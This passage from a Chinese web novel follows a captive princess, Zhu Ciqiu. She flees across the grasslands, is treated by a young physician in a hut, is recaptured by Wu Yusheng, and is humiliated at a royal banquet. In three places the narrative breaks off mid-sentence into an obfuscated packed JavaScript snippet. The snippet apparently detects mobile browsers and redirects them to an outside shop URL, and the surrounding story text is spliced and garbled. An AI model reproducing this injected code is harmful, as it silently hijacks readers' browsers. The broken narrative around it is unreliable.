如今她既逃离了皇宫,又不被困于王帐,她很想顺着这辽阔草原一走了之。 朱辞秋轻轻抚摸着躁动的红棕马,解开绳索后轻身跃于马上,她抱住马身俯身向下,轻轻说道:“别激动,你等会儿就能见到你主人了。” 然后她便双腿打马,拉紧缰绳往王帐而去。 等朱辞秋预感快看到王帐那昼夜不停燃烧的火光与四周的守卫时,她翻身下马躲在暗处,将头上的发簪取下,又使劲儿划下自己衣物花纹的一角,又将衣角布料沾上一些自己腹部渗出的伤口。 最后她将发簪插·入衣角布料,让二者穿起来,再将发簪尖端插·入马鞍的皮革之内,又在红棕马耳边轻声说了句:“回去就能见到你主人。” 随即便狠狠拍了一下马屁股,让红棕马猛然冲向王帐的方向。 而朱辞秋自己,则漫无目的随意地往一个方向走去。 草原太大了,又因为没有目的地乱走,让她自己都差点分不清楚方向,况且她已经一天未曾进过食了,饥寒交迫的情况下她只能强迫自己思考一些让她不浑浑噩噩胡乱走的事情。 乌玉胜昨日受伤后去找了乌图勒,然后便领着亲兵出去了。以她对乌玉胜的了解,他故意去找乌图勒,自然知道这是一件百害而无一利的事情。但他这么做的原因,也有一个。 他知道乌图勒要制衡他,所以他故意找到乌图勒暗示,以他的本事完全可以避开这道伤口,但他欣然接下。 他是为了告诉乌图勒,他愿意让其他人接手他的权力,所以没有必要用她来制衡他。 “乌玉胜……”朱辞秋失声一笑,他真是为了让她不如愿而使劲干扰,甚至不惜捅伤自己。 也不知走到了哪里,等她在心里想乌玉阙有没有开始计划行动时,恍然间抬头,发现不远处多了一间小木屋,甚至还亮着灯。 茫茫草原上,骤然出现一间小木屋。 不太对劲。 于是朱辞秋正欲掉头就走,但里头的人忽然打开门朝外泼了一盆水,两人就这样隔着黑夜,在月光下对视了一眼。 借着月光,朱辞秋也看不清那人长什么模样,只知道是个男人。她如今身上没有防身之物,又受着伤,还得在乌玉阙领人找到她之前先保护好自己。 所以这样的突兀冒出来的地方,她还是得尽快离开。于是想也不想,朱辞秋拔腿就跑。 “诶!阁下!” 身后传来大喊,是字正腔圆的中原话。 朱辞秋许久未闻家乡话,脚下动作停顿一瞬,但仍不作停留,继续往前跑着。 腹部的伤口也因此越来越疼,但感觉到身后有急促朝她奔来的脚步声,她跑得更快了。 就连寒冷都感觉不到,只能感受到额间的汗珠缓缓往下淌。 但她还是跑不过身后的男人,最终男人“嗖”的一下,窜到她面前。她为了不跟这个可疑的中原男人撞到一起,也不得已停住步子,在原地大口大口地喘着粗气。 男人也喘着气,扶着腰看向她:“你、你跑什么啊?” 朱辞秋暗暗后退,将与他的距离拉开,“那你追我干什么?” “我是看你受伤了,所以想喊你进屋里来。谁知道你拔腿就跑啊,活像我是什么豺狼一样!”男人叉着腰,语气惊讶。但她看不清这人神色。 朱辞秋越发谨慎:“你怎知我受伤了?你是谁?” 男人颇有些自豪地开口:“我?我是这全天下最厉害的神医,的徒弟的徒弟。” 朱辞秋只冷冷地看着他,毫无反应。 他略有些讪讪,又指着她腹部的伤口,道:“你那伤口上的血腥之气方圆十里都能闻见,你若再往前走,便要进入火林中的狼群盘踞之地了,等它们闻见,能立马将你咬成渣!” “你是中原人。”朱辞秋道,“你在这做什么?” 男人毫不设防:“我好友垂危,需一味药材,只有南夏火林中的狼群盘踞之地才有,我这才在这搭了小木屋,伺机去取药材。” 朱辞秋沉默一瞬,问道:“火林中,还有药材?” “那自然没有,我说这药材,是狼王之心。”男人脱口而出,丝毫不觉自己被她套出所有信息。 “你何时来此处的?”朱辞秋继续小心地往后退。 男人抬起头,像是仔细思考了下,“啊,大概一个半月有余了吧。我趁着怀宁公主和亲,山门关大开时偷溜出来的。” “哦,是吗。”怀宁公主本人正不着痕迹地往后退着,她侧头往地上看了看,忽然装作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438434|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腹部剧痛蹲下身子。 面前男人一见,立马伸手朝她而来。 朱辞秋却抓起地上散碎的泥土往男人脸上甩去,趁那男人抹脸时,又朝他眼睛处扔了一把后,另一只手捡起一块石头迅速起身往木屋跑去。 那男人似乎很爱干净,他一边不停地抹着脸上的泥土,一边追赶她。 “你做甚?!我真没恶意!”男人一边喊一边追。 朱辞秋才不信,她回身朝那男人扔了手中的石头,本略微想阻止男人稳健的步伐,却不想竟正正好地砸中了男人的额头,让他停下了大声“啊”了一声。 怪不得乌玉胜曾说她适合练云箭。 木屋近在眼前,朱辞秋使尽力气冲向大开着门的木屋,在力竭的最后一瞬间进入木屋,关上木门插上木梢后又迅速环视屋内,迅速地关上木窗,将本住在这里的男人阻断在屋外。 做完一切后,朱辞秋捂着伤口坐在门口的凳子上喘着气,等外头男人大力地瞧着门,让她开门时,朱辞秋才站起身观察巡视着屋内。 屋内油灯闪烁,并不昏暗,也十分干净整洁,只有简单的生活用品,靠窗的木桌上有几本医书,页角被翻得有些旧了。 她打开桌子下面的抽屉,里头放着些银针类的医具,只不过包着那些用具的布包十分破旧。一旁还有一把像雕刻什么小物件的精致小刀,与那破旧的布包格格不入。 朱辞秋不动声色地将那小刀揣在自己怀中后,合上了抽屉。 床边也有几本医书,还有一本写得乱七八糟的游记,朱辞秋随意翻开看了看,发现这里面的字难看至极,还时常画些看不懂的山水画,她皱了皱眉将游记放回了原位。 火炉旁烤着两个红薯与好几个小土豆,炉上烧着热水,一旁放着盐巴还有一小袋生米,不远处的角落里还有一袋红薯与土豆,地上放着木盆,木盆中有一点刚泡好的米,显然外头那男人方才正在做饭。 朱辞秋巡视一圈,也翻了一圈,没瞧出什么古怪,除了厨用刀具外也没瞧见什么武器,外头的男人好像确实是个来寻药的医师。 “喂!”屋外的男人也气急了,他大吼,“我好心提醒你,你不领情也就罢了,你还暗伤我!你还抢占民宅!你还把我关在门外!喂!开门啊!我要不是看你是伤者,我就要把你大卸八块了!” “喂!开门!给我开门!” 男人喊累了,他喘着气,“这位姑娘,你好歹出个声吧?” 朱辞秋靠着门,问了句:“你叫什么?” “我不告诉你!”男人理直气壮,“你将我关在我家门外,我还要告诉你我姓甚名谁?!天下哪有这样的道理!” 朱辞秋又不说话了。 男人等了半天,最后咬牙切齿道:“你、你将我放进去,我俩再好好说道说道。” “你说了,我便放你进来。”朱辞秋道。 “要不是看在你是伤者,又是大雍人……”男人小声嘟囔后,大声道,“杜与惟!” “好了吧?快开门!” 朱辞秋在心中重复了一遍这个名字,转过身将插销打开,将外头气冲冲的男人放了进来。 8. 第八话 朱辞秋刚打开门,杜与惟立马跳到屋内瞪着她,却在眼神锁定她后,瞪着人的眼珠子立马收敛了下去,只大声又结巴地说了句:“让……让啊!” 于是她侧过身,给杜与惟让了位置。 “你这人太过分了!”他不再看朱辞秋,而是一边说着,一边走向火炉处,坐在一旁将木盆中的米放入沸水中,用木勺搅和两下盖上盖子,在原地抬起头看向她,又有点结巴,“也、也算是我心善、心肠好,这要是、碰上南夏那群吃人不吐骨头的,又或是往前走遇上狼群,你这人就得命丧于此!” 朱辞秋关上门,将身边那凳子扔向杜与惟身旁,“咚”的一声,叫正欲继续往下说的杜与惟吓了一跳。 她坐下来,只是淡淡瞥了他一眼。 瞧着年纪不大,又满脸单纯,只差写了我是好人家的孩子这几字了,至多十八九岁。穿着一身粗布衣裳,跟他那装着医具的布袋子倒也相得益彰。 她看着火炉,淡淡开口:“你话很多。” “你这姑娘,怎么这般——”杜与惟话未说完便停下来,眼神飘向了一处地方。 朱辞秋顺着他视线低头,瞧见他是在看自己的腹部的那道伤口,于是她伸出手捂住渗血的伤口,朝他嫣然一笑:“公子既然是医师,那劳烦公子替我包扎一下,可好?” 杜与惟似乎看这笑容看得有些呆了,不算白皙的脸上噌地一下红透,愣愣地点了点头。 他果然起身朝桌子处的抽屉所去,但打开抽屉的一瞬间,他忽然尖叫一声。 “我小刀呢?!”杜与惟转身看着朱辞秋,脸上红晕立马褪了下去,他急速往前抓着她的手臂,眼神中充满急切,质问道,“是不是你拿了我的刀!” 他摊开手,朝她伸出,“还我!” 朱辞秋淡淡一笑,从怀中拿出那把精致的小刀,在杜与惟伸手夺的时候,她又放入怀中,道:“先替我疗伤。” 然后她又用下巴点了点火炉,“再给我一点吃食,我就还你。” “真的吗?”杜与惟满脸怀疑,像是再也不敢相信她一般。 “我从不骗人。” “你发誓,你在我给你包扎和你吃完饭后就能还给我小刀!”杜与惟站起身,一脸严肃坚定。 朱辞秋右手半举,伸出三根手指,“我发誓。” 杜与惟这才放心地转身去拿医具,但拿到后却用一黑色布条将自己的双眼遮蔽起来,摸索着朝她而来。 “你先、你先将衣裳脱了,若原先有纱布,也将原先的纱布取下。”杜与惟蹲在地上,将布包里的纱布与医药拿出来,耳根又泛起薄红。 朱辞秋沉默着看了他一会,并未说话。她直起腰,将自己上半身的外衣褪去,又咬牙忍着痛拆下早已与血肉黏在一起的纱布。 “嘶”的一声,血肉与纱布彻底隔离开,她痛得倒吸一口凉气,连身体都在止不住颤抖。 杜与惟侧着头,立马精准地将止血药用手迅速扑在伤口处,未有一丝犹豫。 这药似乎要比别的止血药猛烈许多,朱辞秋额间立马布满细汗,手指不自觉地蜷曲,她迫切地想要使力抓住什么东西,来分散腹部的伤口的剧痛。 “你抓着我肩膀吧。”杜与惟似乎看出她的痛苦,犹豫一会后开口道。 朱辞秋也不推辞,她将一只手放在他肩上,狠狠捏着他的衣裳。 杜与惟小心翼翼地将那些残留的血渍用湿布擦拭干净,但他毕竟蒙着眼看不清楚到底干净没,于是朱辞秋看向自己腹部,主动说道:“已经擦干净了。” 杜与惟点了点头,把一白色手衣戴好后,将伤药倒在自己手中,仔细地涂抹在裸露的伤口处。 朱辞秋觉得很新奇,于是忍着痛问道:“你为何要戴手衣?” 杜与惟回答:“这是我师父的师父留下的传统,我们做徒弟的,自然得遵从。” 她点了点头,又觉得此时杜与惟看不见,便“嗯”了一声,不料这杜与惟却像是因为她这一问,打开了话茬子一般。 “你也是大雍人?那你怎么也来这里了?也是跟着怀宁公主和亲后面来的?” “嗯。” “你来这里干什么?这里对大雍人可不友好,要不是我好友需要这狼王之心,我这辈子都不会来南夏的。对了,你叫什么名字?你家在哪里?你怎么受的伤?” 朱辞秋皱了皱眉,道:“你按疼我了。” 杜与惟立马忘了先前的话,赶紧换了力道,“抱歉抱歉。” 他接二连三用了许多药瓶里的药,一点点涂抹在她的伤口处,最后拿出一卷干净的纱布,剪下合适的长度后,仔细又小心地敷在伤口处。 “好啦!”杜与惟收拾好医包,站起身,“你快穿上衣裳吧。” 待朱辞秋穿好衣裳过了一会,杜与惟才拿下那遮住眼睛的黑布,然后便坐在原先的位置,打开了火炉上的锅盖。 他又从一旁的小木柜里拿出一双碗筷,将筷子递给她,道:“我这只有一副碗筷,你用吧。我用锅喝。” 朱辞秋伸手接过,“多谢。” 杜与惟摇摇头,将锅里煮好的清粥盛在碗中递给她,又将一旁烤好的土豆与红薯分给她两个,自己则把那口小锅提下火炉,用木勺舀着喝了起来。 朱辞秋见状,也小口小口地喝起碗中的清粥。 “对了,你那伤口不算深,只是因为伤后不静养才加重了些。”杜与惟剥好一个小土豆,撒上一点盐巴就往口里一塞,咽下去后继续说道,“我的伤药都是顶好的,连宫中的太医院都不如我的药好,所以你这伤很快便会好了,但还是莫要再乱动才能好得更快。” 朱辞秋挑眉:“你怎知太医院的药没你的好?” 杜与惟道:“我师父说的。这药是我们的独家秘方。” 朱辞秋又问:“你师傅是谁?” 杜与惟回答:“我师父是——” 他忽然反应过来,撒盐的手停顿一下,立马看向她,生气道:“你又在套我的话!” 然后他又伸出手,“刀还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是她打开紧闭的木窗,看着外边已经渐渐天亮,雾气也正缓慢地被日光所照散。 她合上木窗,看向那木床。 最后她将木床上的被子抱下来,盖在杜与惟身上,然后自己躺在了木床上。 也不知那小子铺了什么在木床底下,让这床睡起来并不坚硬,反而有些意外的柔软。 朱辞秋难得睡到了舒服的床,闭上眼后很快便睡着了。 忽然木屋外有一阵急促的马蹄声,朱辞秋立马睁开双眼坐起身。 她又转头看见杜与惟,他还在呼呼大睡,甚至已经卷着被子睡在了地上。 朱辞秋走到木窗前,侧着耳朵又听到一阵马蹄声,而且离这木屋越来越近。 她将木窗打开,看向已经天光大亮的屋外。 不远处只有一人披着霜露踏马而来,但却不是乌玉阙。 9. 第九话 是乌玉胜。 朱辞秋看清来人后,关上木窗,又在一旁桌子上找到一张白纸,左右看了下,找到了在堆着几本医书的角落处的笔与一小方砚台。 她站在那,在白纸上写下:若不想死,速走勿留。 又将写好的纸用砚台压在医书上,好叫杜与惟一眼便能看见。然后便轻手轻脚地打开木门,走了出去。 乌玉胜骑着马,停在木屋一丈之外。 这厮竟然罕见地戴上了耳饰,繁杂的红玉耳饰在微风中飘扬,给他不算标准南夏模样的脸增添了一分异域。他冷着脸看了一眼木屋,又目不转睛地盯着她。 朱辞秋停在乌玉胜所处之地的半丈之外,后者见状沉默一瞬后便翻身下马。 “殿下不惊讶吗?”乌玉胜不明所以地开口,迈着不紧不慢的步子走向她,“我会比乌玉阙先找到殿下。” 朱辞秋望向他,勾起嘴角轻轻笑了下,不答反问:“乌纳兰呢?” 乌玉胜答且又问:“在王帐。昨夜王帐大乱,是殿下教乌玉阙这般干的吧?” 清晨的风略微有些寒冷,朱辞秋不再站在原地,她将外衣拢了拢便迈着步子往前走,与乌玉胜错身开来。 马蹄声与脚步声转了个方向,跟在了她身后。 想来是昨夜木屋的平和景象让朱辞秋充满戾气的心有了一丝平静,让她能在此时心平气和地与乌玉胜安静地一起走在南夏的草原上。 “乌玉阙成功了。”朱辞秋没有回答乌玉胜,只是轻声吐出这样一句话。 乌玉胜跟在她身后,仍旧听不出语气:“王帐内出现刺客,真是闻所未闻。” “明知我曾去找过乌图勒,殿下就不怕功亏一篑?” 她微微转头,眼神盯着他右耳的耳饰一会后,继续往前走,道:“忌惮你又迫于形势重用你的人,怎会因一两句话而放下戒心。” “他更不会信任殿下。” “我不在乎他信不信我。”朱辞秋停顿一瞬,转过身看向乌玉胜,勾唇笑道,“我只要他看到我的价值。” 乌玉胜皱起眉头,紧紧拉着缰绳的手青筋暴起,浑身又开始蔓延出阴郁的恶劣气息,他死死地盯着她,眼中戾气似是要将她生吞活剥,但却轻飘飘说出一句话:“为了权力,殿下真是无所不用其极。” 她看着他,像是听见什么好笑的笑话一般。先前的平和荡然无存,眼里的嘲讽与嘴角的笑容越发刺眼,“世间众人谁不贪慕权力?我非圣人,自然也不例外。” “不,”乌玉胜听见她的话后,带着确切又讽刺的神情,笑了。他越过她,走在前头,话音顺着风飘入她耳中,“殿下的目的从不是南夏之权,而是让我们内斗。南夏越乱,殿下越高兴。” “殿下是为了回去,也为了报仇。可殿下,我说过,我不会让你如愿。” 朱辞秋在被乌玉胜道出真实目的后,并不害怕,也不恼怒。早在她给布鲁哈尔塞珠宝时,两人就已心知肚明,如今只不过是将这事放在明面上来说罢了。 她走在他后面,轻声开口:“三年间,你将乌玉阙及其能用之人架空铲除,好让乌图勒除你之外无人可用,目的便是为了那南夏王座吗?” “殿下说我是为什么,便是什么。” 她看着面前男人宽大的背影,自己的脚步跟在他身后越发缓慢,在乌玉胜似有察觉地侧头看她时,她忽地一笑,“不论你什么目的,你都拦不住我。” “但你可以杀了我,永绝后患。” 面前人似是愣怔一瞬,脸上神情变幻莫测,她都未察觉到他何时拔出的佩刀,那佩刀便已经到了她脖颈处。若乌玉胜愿意,她如今已经鲜血直流,性命不保了。 乌玉胜几乎是咬着牙般狂躁:“朱辞秋,你以为我不敢杀你吗?” 朱辞秋看着他,眼底闪过一丝不明所以的情绪,她伸出手,覆在他的手上,将那佩刀往脖颈深处够,“十二岁那年,我就想死了。” “乌玉胜,”她抬起头看着他,眼中分不清是喜是悲,是装模作样还是真情流露,“若非当年永乐墙外与你那一面,我早已是尸体一具。” “殿下,”乌玉胜用空余的手温柔地拭去她眼角的泪珠,面上却并无温情,“这招在我这里,并不好使。” 他收回佩刀,冷声道:“我不会杀你,也不会让你如愿。” 说罢,乌玉胜便轻身跃于马背上,冷着脸朝她伸出手。 朱辞秋却只瞥了一眼,避开他的手。但乌玉胜再次下马,强硬伸手揽过她的腰,又猛地将她一提,她便被甩在马背之上,乌玉胜紧随其上,她又被身后的人的双臂牢牢圈住,驾马往王帐而去。 一路上只有呼啸而过的风声与飞速奔跑的马蹄声,两人都很默契地不再有任何一句言语。 乌玉胜马术极好,身下的马儿也乖巧。朱辞秋几乎没怎么受到颠簸便被带回到王帐之地。 王帐内的守卫越发多了起来,原先十人一队的巡视守卫,增加至十五人一队。中心的宫帐更是围着一圈重甲守卫。 而宫帐正对面的空地上,直直插着五根长矛,上头挑着五颗鲜血淋漓的人头,朱辞秋只看了一眼便别过头不再想仔细看。 “这便是昨夜的刺客。”乌玉胜在她身旁突然开口,“乌玉阙亲手挑下的人头。” 朱辞秋并未说话,只是与乌玉胜一同入了宫帐内。 乌图勒仍旧坐在王座上,只是两旁并无先前的首领们,他靠着座椅抬起眼皮,在看见她后扯了一下嘴角,“怀宁殿下,你伤了我女儿,还妄想逃跑。真是厉害。” “公主将我掳至陌生之地,我心生害怕,这才误伤公主。”朱辞秋微微欠身,看向乌图勒,继续说着,“公主金贵,于是我独骑马回王帐寻医,却不料半路旧伤复发,险些昏迷,只能以身上之物示意公主有恙,让公主之马回到王帐告知领主。” “那昨夜,你去了何处?”乌图勒挑眉,饶有兴趣地看着她。 她道:“草原太大,我并未找到正确王帐之地,因此便等领主派人寻我,好救我一命。” 乌图勒看向乌玉胜,并未说话。 但乌玉胜却在行礼后,自顾自说道:“回领主,我是在恶岭的一间木屋处找到她的。” 乌图勒又扭头看向朱辞秋,“哦?” 朱辞秋见状,又道:“许是我找不着方向,胡乱走到的地方。若非有此木屋,我今日怕都没命回王帐。” “依你的意思,我今日不该处置你。”乌图勒坐直身子,犀利的目光直勾勾地朝她而来。 “处不处置,领主说了算。”朱辞秋并不惧怕地回望王座上的人,淡淡一笑,“我有无逃跑之心,想必领主心中,亦自有判断。” 乌图勒沉默地注视着她,良久,他才朝一旁守卫摆了摆手,冷漠道:“将怀宁殿下送回少主帐内,严加看管。” “是!” 他又指了指乌玉胜,“你留下。” 朱辞秋眼神停留在乌玉胜身上一瞬,便立马被人架着胳膊往后一推,身后的守卫又将狼刀抽出指着她,让她快速离开宫帐内。 她走出宫帐后,看见了角落里的乌玉阙,他脸上充满兴奋又得意的笑容,在看着她时,眼中又多了几分势在必得。 乌玉阙突然上前,让那两名守卫后退几步。 守卫先是犹豫一会,最终在乌玉阙恶狠狠地注视下照做,然后他便旁若无人地跟在她身侧,对她说话的语气甚至还多了几分熟悉,与探讨之意,“殿下手段真是高明又速度,白天才说完的方法,当夜就成功实行了第一步。” 朱辞秋并未转头,只是用余光瞥了眼乌玉阙,淡淡道:“大少主确定要在这里与我商讨此事?” 乌玉阙豪放一笑:“昨夜我率亲兵斩下 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她抬起头,对上乌玉阙浅色的双眼,嫣然一笑:“他终于看到你不靠蛮力走出的一步好棋,并且已经初见成效。而我,他自然也看到了我助你的价值。” “原先你曾说让我在乌玉胜不在之时偷偷放你出王帐,让我的人找到你;再让人装成刺客,由我亲自领兵护领主安全。这样领主便能看到我,许我春狩护卫之权。”乌玉阙愣了一下,说道,“可如今我并未找到你,是乌玉胜找到了。” “大少主,谁找到我并不重要。”朱辞秋眼底闪过一丝对乌玉阙的厌恶,“只是需要有一人分散乌玉胜的视线。他在王帐的眼线可比你多。” 乌玉阙这才恍然大悟,用越发欣赏的目光紧紧注视着朱辞秋,“怀宁殿下不愧是大雍皇室之人,实在诡计多端。” “大少主,抽空重新学一下中原话吧。” 朱辞秋说完这句话,便大步流星地朝乌玉胜的寝帐而去,不再管身后的乌玉阙。 她一面走,一面在心中思索。 再过段时日,便是春狩前宴。 以乌图勒的性子,就算看到乌玉阙能使计在王帐增自己人手,也绝不会立马将所有春狩护卫之权交给他。至多交一半,让他与乌玉胜共同行护卫之责。 她方才在宫帐内所说的话乌图勒根本不会信,他这个人即使知道她故意为之,也会想看看她如何辩解,如何能说出一番让他不罚她的合理辩解之词。 是在试探她,也是在敲打她。 朱辞秋再次路过训练场,又再次看见穆家所有人的头颅,仍挂在原地。 双手将衣角狠狠攥住,双眼紧紧盯着训练场,脸上平静的假面就要被仇恨火焰所吞没打破,就连牙齿都紧紧咬着唇。 直到身后的守卫猛地推了她一把,她才继续压下情绪,缓慢地朝前走着。 只待春狩。 重回寝帐后,朱辞秋用早前自己留下的发带重新将头发缠好,想着乌玉胜今日会不会回寝帐。 但一连好几日,她都出不去寝帐,也没看见乌玉胜。 直到草原的雪化尽,阳光开始温暖照人,南夏的所有人都脱下厚重的冬服,草原上也终于重新开始热闹起来。 草长莺飞,初春已至。 她被困在寝帐的第十六日,连早前觉得难吃的牛肉都已经适应下来了,只不过偶尔还是会想念木屋里的清粥与小土豆,那毕竟是她在南夏吃过的唯一一顿饱饭。 突然厚重的帘帐从外被掀开,朱辞秋抬头一看,却是一群从未见过的侍女。 她们端着洗漱用品与崭新的南夏衣物首饰,为首的侍女扬着下巴,讥讽又高高在上地看着她,说道:“我们奉领主夫人命前来替小少主夫人梳妆打扮。” 朱辞秋知道,春狩前宴,到了。 10. 第十话 朱辞秋坐在原地,还未说话,便看见为首侍女将身后的那身新衣拿着抖落一下,示与她眼前。 胭脂色做底,蓝色为辅镶在袖口与衣摆处,领口与袖口都绣有云卷。 朱辞秋瞥了一眼,又往另一托盘看去。里头搁着的首饰,是由红玛瑙与珍珠编织而成的额饰与耳饰,还有两串腰间挂饰。 窄袖长袍,宝石首饰,典型的南夏装扮。 那侍女见她不理睬她,于是拿着衣裳上前一步,咬着牙又道:“别摆公主架子!赶快起来换衣裳!” 朱辞秋这才站起身,眼神在她身上停留一瞬,朝她轻轻一笑,“我没见过你,你叫什么名字?” 侍女冷哼一声,不屑道:“你这阶下囚怎么会见过我!我可是领主夫人的大侍女,阿日娜。” 在南夏所有人眼中,她只是阶下囚,并非和亲公主,也并非乌玉胜的妻子。 那么,这领主夫人今日如此大张旗鼓地让她穿好看点,就显得别有深意了。 朱辞秋只是朝阿日娜点了点头,然后便往里面而去。 南夏的衣裳穿起来并不繁琐,这次送来的新衣裳意外地很轻盈不笨重,窄袖的设计又很方便。只是她不是很喜欢那额饰与耳饰,就是单纯不喜欢,并非因为什么缘由。 阿日娜指使身后的侍女替她穿戴衣衫,自己却在这帐内四处乱转,一副新鲜又贪恋的模样。 朱辞秋正在被人摆弄头发,只是用余光瞧了一眼阿日娜,便一下了然。 “我很好奇,乌玉胜在南夏干什么?我怎么很多日都见不到他。” 她将桌上的玛瑙珠子举在手中端详,不经意间吐出一句话。 身后摆弄头发的两名侍女手中动作忽地停住,她们一下愣住,纷纷转头看向阿日娜。 阿日娜的步子也顿在原地,反应过来后便立马恶狠狠地瞪向她:“大胆!谁准你直呼小少主大名的?!” 朱辞秋沉默不语。 阿日娜见她始终不开口后主动往她身侧走了两步,随即冷笑一声,便道:“小少主这样天神一般的人,却被你这样的女人伤害。他自然不想看见你,不然怎会连寝帐让给你,自己却去别居住。” “你和他很熟?”身后的侍女将额饰戴在她头上,她一面盯着铜镜一面问道,“怎么如此替他打抱不平?” 阿日娜哼了一声,嘲讽道:“小少主是南夏的战神,本就不该忍让你这样的女人。若是我,定不会让小少主独自住在别居那样的冷僻的地方。” “你喜欢乌玉胜?领主夫人知道吗?” 朱辞秋终于穿戴好,她站起身,直视着阿日娜,笑道。 “你!”阿日娜怒视着她,过了一会,她敛了怒目圆睁的神色,施施然地笑了一声,“南夏谁人不喜欢小少主,他可是草原最勇猛的战士。你不过是想激我对你使用武力,这样你好以此来博得少主同情。” “我可不会上你的当。”阿日娜说完这句话,便双手合十朝外拍了拍手,大声道,“她收拾好了,带走吧!” 外头的守卫便立马掀帘入内,又一左一右地跟在朱辞秋身侧让她迅速朝外走。 这次他们并未将她带至宫帐,而是走了足足半个时辰,将她带至王帐最前沿的空旷宴客之地。 她到的时候,所有人都已坐在席位上。 她也终于看见了那位阿日娜口中的人领主夫人,她正坐在乌图勒身侧,穿着贵重又繁琐华贵的王后服饰,面容并不温和,甚至带着些男子的英气。 她知晓的信息中,领主夫人名唤娜木寒,前任巫族首领的妹妹,是乌图勒的原配妻子,也是乌玉阙的亲生母亲。 朱辞秋到的一瞬间,略有交流的众人都沉默下来,目光全都聚集向她。 而她只是微微欠身,朝王座上的乌图勒行了一礼。 “我还是第一次看怀宁殿下穿上完整的南夏服饰,倒也别有一番风味。”乌图勒笑眯眯地说了一句。 周围那些没见过朱辞秋的人这才反应过来,纷纷低声交头接耳。 朱辞秋淡淡一笑:“还得多谢领主夫人赐衣。” 娜木寒也笑道:“这是我第一次见你,自然得送你一些礼。” “大雍向来以礼仪之邦自居,”一旁有人端着酒杯站起身,指向朱辞秋,“既然我们领主夫人送了殿下礼,殿下是否该回礼?” 朱辞秋微微转身,看见说话的是一名年轻男子,她微不可察的扫过他腰间,“依阁下之见,我该回什么礼?” “听闻怀宁殿下琴舞双绝,不如为我们弹奏一曲,再跳一段舞助兴,这便是殿下该回的礼。”那人不怀好意地盯着她,露出几颗白牙,阴恻恻地笑着。 她视线下移,看向自己的右手,手掌心处的痛感犹在昨日。 她已经弹不了琴了。 初到王帐的第一夜,狼刀刺入她的掌心,鲜血流满古琴,被逼着拽住手指弹出的琴声,是她此生最后能弹出的曲子。 朱辞秋比谁都要了解自己的手,就算不找医师,她也知道自己的右手连一个顺滑的音节都弹不出来。 “实在抱歉,”她直着身子,朝那男人说道,“我已经弹不了琴了。” 这句话说完,朱辞秋敏锐地捕捉到这侧席位为首之人的情绪变化。 乌玉胜似乎很意外地抬头看了她一眼。 面前的男人还在不依不饶,他摔了酒杯,走向她,“在我们南夏,只有主人说不行和抱歉的,奴隶与牛羊,是不可以说拒绝的。” 他拽起朱辞秋的右手,用拇指狠狠按向她的手掌心,眼中的放肆快意毫不掩饰。 乌图勒没有出声制止,也不会出声制止。早在她来这里的第一天,他的所作所为都在告诉所有人,只要保她不死,一切都可以为之。 她看向面前男人,正要说话时,忽然“劈嗒”一声,男人转头朝后看去。 朱辞秋顺着声响亦看向声音来源,乌玉胜将手中的酒杯摔在桌上,酒水顺着桌子流在地上。他站起身,走向她。 乌玉胜只盯了一眼男人地拽着她的手,冷声道:“放手。” 但男人不仅不放手,反而将她手腕拽得更紧。 “怎么?我们小少主,怜惜这位将您抽筋拔骨打回原形的妻子吗?”男人毫不惧怕,甚至在抽筋拔骨与妻子这两词上,十分恶劣地加重语气。 乌玉胜冷冷地注视着他,忽然伸出手将男人另一只手抓起朝反方向掰,动作看着轻柔无比,但男人却松了抓着朱辞秋的手,惨叫连连。 “我的奴隶,轮得到你教训?” 在男人的惨叫声中,她听见从乌玉胜的熟悉的低沉又漠然的嗓音说出的话,有些想笑。 男人虽被钳制住手,但仍气势汹汹地瞪着乌玉胜,见后者越发加大力道,他骤然转头看向王座旁的娜木寒。 娜木寒这才开口:“行了,都回来,别闹了。” 然后一面盯着朱辞秋,一面朝外招了招手。 从外界忽然一拥而上一群舞女,在乌玉胜于她一同看向舞女的间隙,男人挣脱乌玉胜的束缚骂骂咧咧地回到了席位上。 朱辞秋看了一眼舞女,又看了眼自己身上的衣裳。 怪不得这衣裳轻盈不笨重,原来是舞女所穿。 “呀,想必是我那粗心的侍女搞错了衣裳,让怀宁殿下换上了舞女服饰。”娜木寒笑着装出惊讶的模样,“不过我想,殿下应当没有学过南夏的舞蹈,不如跟着舞女们一同跳着学习一下,也算是还了我这礼了。” 朱辞秋闻言先是瞥了眼一旁乌玉胜,见他的脸愈发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊!”那男人捂住额头,恶狠狠看向她。 “抱歉了,我向来笨手笨脚的。”她拍了拍手,毫无歉意地道歉道。 那男人正要发怒,不料乌图勒却突然道:“娜巴图,闹够没有?” 娜巴图才敛了声音,瞪着朱辞秋气愤地坐了下来。 而朱辞秋见乌玉胜身后还有个空位,便不等谁说,自顾自地过去坐下来。 果不其然,乌图勒也没管她,只是朝底下众人说道:“十日后便是今年的春狩,往年护卫皆由我儿乌玉胜一人担任布防,我叹他太过辛苦,正巧十几日前王帐进了贼子,乌玉阙率人一举歼灭,大有长进。是以,今年的护卫之权,我便交由你二人一同协管,务必将春狩场地之守卫安排妥当。” 朱辞秋听见一旁的首领小声道:“王帐进贼子,传出去谁信?” 另一人道:“嘘,咱们管那么多干嘛!” 